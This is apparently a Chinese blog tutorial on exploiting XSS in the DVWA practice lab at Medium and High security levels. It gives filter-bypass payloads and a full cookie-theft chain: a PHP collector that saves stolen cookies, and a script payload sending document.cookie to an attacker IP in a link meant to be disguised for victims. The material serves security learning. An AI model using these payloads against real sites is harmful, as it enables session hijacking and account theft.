xss漏洞(三,xss进阶利用)

本文仅作为学习参考使用,本文作者对任何使用本文进行渗透攻击破坏不负任何责任。

前言:

1,本文基于dvwa靶场以及PHP study进行操作,靶场具体搭建参考上一篇:

xss漏洞(二,xss靶场搭建以及简单利用)

2,设置靶场环境。

将靶场环境设置为Medium(中等的)并保存(后续设置为High等级操作预期一致)。

一,Medium等级。

1,查看源码。

可知,此处过滤<script>,且<select>标签中只能含有<option>``<optgroup>。

2,测试注入点。

直接使用get传参,可以使用hackbar来进行操作,以避免url编码阻碍使用。

本来并不存在china选项,但可以通过hackbar进行修改。

3,开始利用。

复制代码
http://dvwa:8003/vulnerabilities/xss_d/?default=></option></select><img src=1 onError=alert('hello')>

因为这个等级存在了过滤,所以此处使用报错利用。

<img>标签是将一张图嵌入的意思,src=后跟所嵌入的图片地址,onError=后跟若前面的代码无法执行所进行的操作。

本段代码的整体含义为:插入地址为1的图片,若无法执行(报错),便执行弹窗为'hello'的操作。此处可将hello更换为其他敏感信息以进行进一步利用。

二,High等级。

直接使用Medium等级的思路是无法成功的,本次便从白盒视角来进行解题。

白盒与黑盒:

白盒是能在接触到源码的情况下进行的渗透活动,能更好的找出漏洞所在。

黑盒是提供很少的条件辅助攻击,有时甚至仅给一域名或ip,最接近真实的网络攻击环境。

分析源码可知,此处仅接受这四个值。

可以在注入的 payload (攻击载荷)中加入注释符 "#",注释后边的内容不会发送到服务端,但是会被前端代码所执行。

payload:

复制代码
http://dvwa:8003/vulnerabilities/xss_d/?default=English%20#%3Cscript%3Ealert('hello')%3C/script%3E

此处不知道为什么,hackbar无法进行注入,只好直接在url栏内进行修改传参。

三,xss漏洞危害及利用。

1,危害:

假如dvwa是你常用的网站,并且已经登录,你不知道此页面存在xss注入,黑客利用xss漏洞获取你cookie.他先打开此网站,构造了恶意语句,然后拿到URL,把URL进行包装,最后发给受害者你,你作为受害者一点击,自己的cookie就发送到了黑客特定的的文件里,黑客就拿到了你的cookie。

2,实例:

①攻击者在在攻击机网站目录下写cookie.php文件。

内容为:

复制代码
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

②,构造恶意语句,注入dvwa。

payload:

复制代码
<script>document.write('<img src="http:// 192.168.31.203/cookie.php?cookie='+document.cookie+'">');</script>

其中的 192.168.31.203,为攻击机的IP。

③,开始攻击。

生成恶意链接,伪装之后给别人,让别人点击,前提是别人登录了dvwa.

复制代码
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>document.write('<img src="http://192.168.31.203/cookie.php?cookie='+document.cookie+'">');</script>#

受害者点击后:

相关推荐
Hashan6 分钟前
Elpis:抽离业务代码,发布NPM包
前端·javascript·vue.js
quikai198111 分钟前
python练习第六组
java·前端·python
用户479492835691514 分钟前
0.1加0.2为什么不等于0.3-答不上来的都挂了
前端·javascript·面试
rit843249915 分钟前
C#实现的远程控制系统
前端·javascript·c#
诺斯贝克24 分钟前
Unable to create converter for xxx.NetworkResponse<Auth> for method AuthService
前端·后端
listhi52024 分钟前
针对燃油运输和车辆调度问题的蚁群算法MATLAB实现
前端·算法·matlab
渔_26 分钟前
uni-app 页面传参总丢值?3 种方法稳如狗!
前端
快被玩坏了26 分钟前
二次封装了个复杂的el-table表格
前端
用户938169125536027 分钟前
在TypeScript中,可选属性(?)与null类型的区别
前端
eason_fan36 分钟前
Resize 事件导致的二进制内存泄漏:隐式闭包的 “隐形陷阱”
前端·性能优化